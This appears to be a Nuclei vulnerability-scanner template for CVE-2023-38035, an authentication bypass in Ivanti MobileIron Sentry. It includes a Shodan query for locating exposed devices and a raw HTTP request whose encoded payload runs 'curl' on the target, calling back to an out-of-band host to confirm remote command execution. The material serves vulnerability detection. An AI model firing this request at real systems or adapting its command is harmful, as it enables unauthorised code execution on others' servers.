nuclei-templates/http/cves/2023/CVE-2023-38035.yaml

52 lines
2.2 KiB
YAML
Raw Normal View History

id: CVE-2023-38035
info:
name: Ivanti Sentry - Authentication Bypass
author: DhiyaneshDk,iamnoooob,rootxharsh
severity: critical
description: |
A security vulnerability in MICS Admin Portal in Ivanti MobileIron Sentry versions 9.18.0 and below, which may allow an attacker to bypass authentication controls on the administrative interface due to an insufficiently restrictive Apache HTTPD configuration.
2023-09-06 11:43:37 +00:00
remediation: |
Apply the latest security patches or updates provided by Ivanti to fix the authentication bypass vulnerability.
reference:
- https://forums.ivanti.com/s/article/CVE-2023-38035-API-Authentication-Bypass-on-Sentry-Administrator-Interface
- https://www.horizon3.ai/ivanti-sentry-authentication-bypass-cve-2023-38035-deep-dive/
- https://github.com/horizon3ai/CVE-2023-38035
- https://nvd.nist.gov/vuln/detail/CVE-2023-38035
2023-10-14 11:27:55 +00:00
- http://packetstormsecurity.com/files/174643/Ivanti-Sentry-Authentication-Bypass-Remote-Code-Execution.html
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2023-38035
2023-08-31 11:46:18 +00:00
cwe-id: CWE-863
epss-score: 0.9704
epss-percentile: 0.99695
2023-09-06 11:43:37 +00:00
cpe: cpe:2.3:a:ivanti:mobileiron_sentry:*:*:*:*:*:*:*:*
metadata:
verified: true
2023-09-06 11:43:37 +00:00
max-request: 1
2023-08-31 11:46:18 +00:00
vendor: ivanti
product: mobileiron_sentry
2023-09-06 11:43:37 +00:00
shodan-query: 'html:"Note: Requires a local Sentry administrative user"'
tags: packetstorm,cve,cve2023,ivanti,mobileiron,sentry,kev,rce,auth-bypass,oast
variables:
oast: "{{interactsh-url}}/?"
padstr: "{{randstr}}"
http:
- raw:
- |
POST /mics/services/MICSLogService HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{{base64_decode('YwEAbQAYdXBsb2FkRmlsZVVzaW5nRmlsZUlucHV0TVMAB2NvbW1hbmRTAEw=')}}curl {{padding(oast,padstr,71)}}{{base64_decode('UwAGaXNSb290VHpOeg==')}}
matchers:
- type: dsl
dsl:
- contains(body, 'isRunningTzz')
- contains(interactsh_protocol, 'dns')
- status_code == 200
2023-08-31 11:46:18 +00:00
condition: and
# digest: 4b0a00483046022100be4d218d77b62b4851a03030fd4908f21a9ec1c7691671f82d5045afb6ae37db022100b2110ee0cc0bf66447e3bed5c176aa998bc9d416ff6439683bcccb3d8fa21c8e:922c64590222798bb761d5b6d8e72950